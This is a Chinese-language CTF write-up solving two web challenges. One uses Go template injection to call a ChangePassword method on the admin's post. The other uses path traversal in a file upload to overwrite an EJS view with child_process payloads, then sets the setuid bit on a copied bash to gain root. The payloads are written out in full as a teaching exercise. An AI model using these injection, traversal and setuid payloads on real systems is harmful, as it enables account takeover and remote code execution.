4T$CTF-赛后复现
My Sky Blog
这里我们看到我们的源代码之后很容易就可以发现ssti的注入点
就是这里
但是找到ssti的注入点很简单,但是要获取admin却不容易
这里我注入了很久,发现都是在自己获取自己
但是如果我们审计代码可以发现第一个Post是admin的,那么我们先尝试看看能不能从ssti中获取第一篇文章的东西,那么我们使用这个payload
1 | {{index.Posts 0}} |
我们传上去后发现效果是这样
那么很显然我们这里已经是获取到了我们的第一个Posts
那么我们接下来要做什么呢
我们发现Posts的模板是这样的
title和body我们没有什么能利用的,但是Author是指向User对象的,那么我们去看User对象
这里我们可以找到User对象中有一个changepassword方法
而且既然我们刚才就可以变成admin,那么我们也就可以用这个方法去继续调用changepassword方法来更改admin的方法,于是我们就可以做到更改admin的密码,然后再用这个密码登录上去就可以获取flag了
最终payload
1 | {{(index.Posts).ChangePassword "your-password"}} |
修改之后直接登录就可以了
Homelab ? More like Pwnlab !
这道题看到源代码之后就发现没有对目录做校验,那么就代表着我们可以上传任意文件到任意目录去,但是最重要的一点是什么,是我们在这个只有npm的环境下应该传什么文件上去才能做到命令执行呢?
很简单,我们可以发现我们传html时候可以被渲染,但是在html中加<script>
标签时却没法执行里面的js代码,当我看到有一个index.ejs时我第一反应是能不能自己也写一个ejs,但是我很快反应过来这是不可以的,因为如果是我自己写的,后端不会有渲染代码,那么我注入的恶意代码也就不会执行,于是在这里我考虑直接gank掉那个index.ejs。但是我在gank完之后发现貌似尊嘟没有过滤(此时一个不擅长绕waf的fault嘻嘻)
于是我们再结合另一个ssh界面看看,我们查看home目录发现有nas_storage目录,于是我们需要找到二者的关系
我们可以看到当我们发出这个包之后
我们ssh界面的nas_storage目录中多了一个1.txt
那么我们可以知道,这个文件上传目录所对应在ssh上的目录就是/home/user/nas_storage
那么我们又需要看看我们在这个里面的权限是什么
1 | fileName=..%2F..%2F..%2Fapp%2Fviews%2Findex.ejs&fileContent=<%=import('child_process').then(c=>{console.log(c.execSync('echo+`whoami`+>+/app/public/uploads/whoami.txt').toString())})%> |
那么就很明显了,那么问题来了,到了这里,我们很明显可以知道我们在文件上传那里是root权限,但是没有办法直接摸到/home/admin里,那么我们这里需要怎么办呢
很简单,用命令执行这里的权限给ssh中的bash赋予权限就行,于是我们先需要用这个
1 | cp /bin/bash /home/user/nas_storage |
然后我们发送这两个包
1 | fileName=..%2F..%2F..%2Fapp%2Fviews%2Findex.ejs&fileContent=<%=import('child_process').then(c=>{console.log(c.execSync('chown+1000:1000+/app/public/uploads/bash').toString())})%> |
1 | fileName=..%2F..%2F..%2Fapp%2Fviews%2Findex.ejs&fileContent=<%25%3dimport("child_process").then(c%3d>{console.log(c.execSync('chmod+u%2bs+/app/public/uploads/bash').toString())})%25> |
之后我们就会发现bash的权限变成了
这样,我们在这里执行
1 | ./bash -p |
之后就可以读取flag了
喵